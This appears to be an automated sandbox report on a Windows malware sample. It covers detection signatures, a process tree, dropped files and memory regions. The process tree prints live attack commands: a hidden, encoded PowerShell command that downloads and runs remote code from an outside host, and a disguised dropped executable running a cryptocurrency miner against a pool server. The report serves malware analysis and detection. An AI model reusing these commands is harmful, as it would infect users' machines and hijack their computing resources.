Analysis

  • max time kernel
    150s
  • max time network
    112s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 23:20

General

  • Target
    darthfn TESTING.exe
  • Size 3.5MB
  • Sample261026-3bpetazvhs
  • SHA256 1b7609b7e78ee143460dede46e4e52e54b759cd6d5b888c4e5f7c36374e8f433
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\darthfn TESTING.exe
    "C:\Users\Admin\AppData\Local\Temp\darthfn TESTING.exe"
    1⤵
    • Checks BIOS information in registry
    • Suspicious use of WriteProcessMemory
    PID:596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:784
        • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
          4⤵
          • Executes dropped EXE
          PID:4980
    • C:\Users\Admin\AppData\Local\Temp\bnd3F13.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\bnd3F13.tmp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:5000
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
    1⤵
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3600
      • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
        3⤵
        • Executes dropped EXE
        PID:5604

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 6da57450266916390fb7a9c208c5c81f95d5c05b4507fb5f426ffc68bc6e5784
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 390acb302a3059e3e2ba8444750feef8d2557f49c7a9cab5c9fd18b55345c1a7
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 cc7accb94ed0e815b21aec310b629e37c6419386485d45b686f892a0ed25986d
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_4mbirfar.tyh.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mbirfar.tyh.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        bnd3F13.tmp.exe

        • Path C:\Users\Admin\AppData\Local\Temp\bnd3F13.tmp.exe
        • Size 343KB
        • SHA256 2b94abb4232f5dbd1e31d98135b021c61082c6d9062047a1085cf990550818a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/784-54-0x000002864CF90000-0x000002864CF9A000-memory.dmp

        memory/784-53-0x000002864CFB0000-0x000002864CFC2000-memory.dmp

        memory/784-41-0x000002864CFA0000-0x000002864CFBE000-memory.dmp

        memory/784-45-0x000002864CFF0000-0x000002864D014000-memory.dmp

        memory/784-44-0x000002864CFF0000-0x000002864D01A000-memory.dmp

        memory/784-43-0x000002864CF90000-0x000002864CF9A000-memory.dmp

        memory/784-42-0x000002864D290000-0x000002864D342000-memory.dmp

        memory/4708-15-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-26-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-27-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-24-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-23-0x000001CCFF970000-0x000001CCFFB32000-memory.dmp

        memory/4708-22-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-21-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-19-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-16-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-1-0x00007FF8863BF000-0x00007FF8863C0000-memory.dmp

        memory/4708-13-0x000001CCFF2F0000-0x000001CCFF312000-memory.dmp

        memory/4708-14-0x00007FF886230000-0x00007FF886BD4000-memory.dmp

        memory/4708-11-0x00007FF886230000-0x00007FF886BD4000-memory.dmp